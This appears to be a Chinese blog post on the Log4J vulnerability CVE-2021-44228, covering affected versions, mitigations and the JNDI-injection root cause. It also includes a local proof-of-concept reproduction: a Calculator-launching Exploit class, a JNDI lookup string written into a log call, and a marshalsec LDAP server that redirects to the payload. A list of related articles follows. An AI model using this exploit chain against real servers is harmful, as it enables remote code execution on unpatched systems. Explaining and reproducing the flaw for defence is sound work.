发生什么事了

Log4J 是一个应用非常广泛的Java库,就在前两天的2021年12月10日,Log4J的一个安全漏洞被公布了。那天正好是周五,很多程序员都在计划着怎么度过一个愉快的周末,不料这个安全漏洞的公开,使得全世界很多程序员不得不周末加班,有的甚至通宵达旦紧急应对。

漏洞编号为CVE-2021-44228 ,攻击者利用这个新的零日漏洞,可以远程执行恶意代码。

零日漏洞( zero-day )通常是指还没有补丁的安全漏洞。零日漏洞利用(zero-day exploit)的程序对网络安全具有巨大威胁,因此零日漏洞不但是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水准的一个重要参数。

是否需要应对

首先看看NIST上的官方描述:

Log4j2 在配置、日志消息和参数中使用了 JNDI 功能。如果 Log4j2 的版本 <=2.14.1 ,JNDI 相关功能无法防御攻击者控制的 LDAP 和其他 JNDI 相关端点。控制了日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器上的任意代码。

所以如果你使用了Log4J输出日志,而且版本 <=2.14.1,那么你很可能中招了。不过需要注意的是,Log4J相关的 jar 有好几个,只有使用了 log4j-core 包的程序才需要应对。很多使用了 Spring Boot 的同学,发现依赖库中存在 Log4J 的 jar 包就慌了,其实 spring-boot-starter-logging 依赖的是 log4j-to-slf4jlog4j-api,这两个包不会引入上述漏洞。使用 Spring Boot 小伙伴们可以放心了。

使用 Gradle 的同学可以使用如下命令,检查是否依赖了 log4j-core ,版本是否 <=2.14.1。

./gradlew dependencyInsight --dependency log4j-core

如何应对

一劳永逸的应对办法就是将 Log4J 的版本升级到 2.15.0 或者更高。如果暂时不升级的话,也可以在JVM 系统参数中将 log4j2.formatMsgNoLookups 设置为 true,也可以避免遭到利用该漏洞的攻击。

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

根本原因是什么

根本原因说白了就是 JNDI 注入,类似以往经常见到了 SQL 注入。阿里的 FastJson 库以前也出现过类似的漏洞。

  1. 攻击者在攻击者控制的Naming/Directory服务中绑定有效负载(Payload)。
  2. 攻击者向易受攻击的 JNDI 查找方法注入绝对 URL。
  3. 应用程序执行查找。
  4. 应用程序连接到攻击者返回的受控 N/D 服务的有效载荷。
  5. 应用程序对响应进行解码并触发有效载荷。

如何再现

首先准备任意一个类,模拟恶意代码。如下示例在构造方法中启动了Mac的计算器程序。

Exploit.java

java.lang.Runtime.getRuntime().exec(new String[] { "open", "-a", "Calculator" });

然后使用 Log4j 输出一段日志,利用这个漏洞的前提是日志信息是可以由攻击者控制的,比如在代码中打印了HTTP请求的参数或者Header等等,攻击者可以在请求参数或者Header中输入如下JNDI Url。这里为了方便,直接写在了代码中。

Log4j2Vul.java

logger.info("${jndi:ldap:127.0.0.1/anystring}");

然后我们利用 python 搭建一个简单的 HTTP 服务器,将恶意代码 Exploit.class 暴露出去。

./gradle build
cd build/classes/java/main
python3 -m http.server 7374

然后我们利用 marshalsec 搭建一个 LDAP 服务器。 启动 LDAP 服务器,并将请求重定向到 HTTP 服务器。这就是攻击者控制的 Naming/Directory 服务,这里绑定的有效负载(Payload)就是 Exploit.class

git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7374/#Exploit 384

现在我们就可以利用这个漏洞,执行恶意代码了。执行以下命令启动 Log4j2Vul 的 main 方法,输出日志。

./gradlew runLog4j2WithJavaExec
复制代码

然后你就会看到 Mac 的计算器被启动了。

具体代码参考: 。代码中还包含了利用 FastJson 漏洞进行 JNDI 注入的示例。

总结

本文介绍了 Log4J 的安全漏洞 CVE-2021-44228,如何应对,安全漏洞的根本原因以及如何再现,并提供了再现代码。

码字不易,如果对你有帮助,请点赞关注加分享,感谢!

刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗?相关推荐

  1. 冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全,赶快收藏吧

    大家好,我是冰河~~ 周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞 ...

  2. Log4j 爆发“核弹级”漏洞、工信部力推开源软件发展、“龙腾计划”启动|开源月报 Vol. 02...

    「WeOpen Insight」是腾源会全新推出的"开源趋势与开源洞见"内容专栏,不定期为读者呈现开源圈内的第一手快讯.优质工具盘点等,洞察开源技术发展的风向标,预见未来趋势. P ...

  3. Apache Log4j任意代码执行漏洞安全风险通告第三次更新

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...

  4. Apache Log4j 远程代码注入漏洞

    漏洞说明 2021年12月9日,Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题,攻击者攻击难度极低.由于 Apache Log4j2 某些功能存在递归解析功 ...

  5. 一个老中医刚刚公布的额(太强大了 除了教你怎么保健连怎么知生儿生女都有。。。。。。。。。。。。。。。。。。。。。。)

    一个老中医刚刚公布的额(太强大了 除了教你怎么保健连怎么知生儿生女都有......................) 2010-02-20 23:47 | (分类:All life ...) ---- ...

  6. Apache Log4j 远程代码执行漏洞直接让安全圈过年~

    在此声明:本文章的目的是让大家参考此漏洞的修复方法切记不要批量刷SRC,否则后果自负与本人无关, 安全圈直接过年了 苹果 百度 shiro从2014年-2022年坚持到了现在,log4j是下一个能养活 ...

  7. 开源高性能 RISC-V 处理器“香山”国际亮相;Apache Log4j 远程代码执行漏洞;DeepMind 拥有 2800 亿参数的模型 | 开源日报

    整理 | 宋彤彤 责编 | 郑丽媛 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...

  8. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  9. Log4j 2再现新漏洞;缺乏资助不是开源软件安全的唯一问题;微软公布 Entity Framework 7.0 计划 | 开源日报

    整理 | 宋彤彤 责编 | 屠敏 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...

最新文章

  1. Diango REST framework 视图继承图
  2. ecmall开发记录(三)
  3. maven——pom.xml
  4. SAP Leonardo机器学习模型重新训练的日志
  5. Palindrome subsequence HDU - 4632 区间dp|记忆化搜索
  6. java el ognl_EL和OGNL表达式的区分
  7. ubuntu共享文件夹文件看不到_实验08:轻松搭建文件夹共享
  8. solr之搭建企业搜索平台,配置文件详细solrconfig.xml
  9. SHELL编程传递参数方法详解$# $* $0 $1 $2 $...
  10. 所有ghost操作系统大全
  11. 海店湾:劲爆!这款APP的横空出世,是美女们的福利还是潮流?
  12. 京东商城搜索框特效实现
  13. 人工神经网络概念梳理与实例演示
  14. 关于限制同一个IP访问频率和限制用户登录时候输错密码次数限制(超过即限制)
  15. sklearn:make_blobs聚类数据生成器
  16. 考虑退化成本的混合储能微电网双层能量管理系统(复现) 提出了一种新型的包含混合ESS的两层微电网EMS。 电力调度的目标是上层的运行成本最小
  17. 计算机管理中误删用户,win10管理员账户删除了怎么解决?
  18. ymlm启用root用户
  19. Qt完成简易闹钟与画板
  20. 便利蜂2022数据分析秋招一面凉经

热门文章

  1. 【赛题首发】2023年美国大学生数学建模竞赛春季赛赛题发布!MCM Y题
  2. Redis主从复制、哨兵、集群
  3. NoSQL 新贵之崛起的 Neo4j
  4. 鲜果蓝产品在做营销时利用小红书发布图文笔记有哪些注意事项?
  5. C#版本 UDP网络库的整理Raknet,UDT,ENet,lidgren-network-gen3,KCP,uLink,LiteNetLib等
  6. SQL server数据库之排名函数
  7. Quartz - 集群Cluster的配置、failOver原理
  8. 微信iPad协议-附近人
  9. 基于netty的可群聊聊天室
  10. Mybatis插件处理createTime和updateTime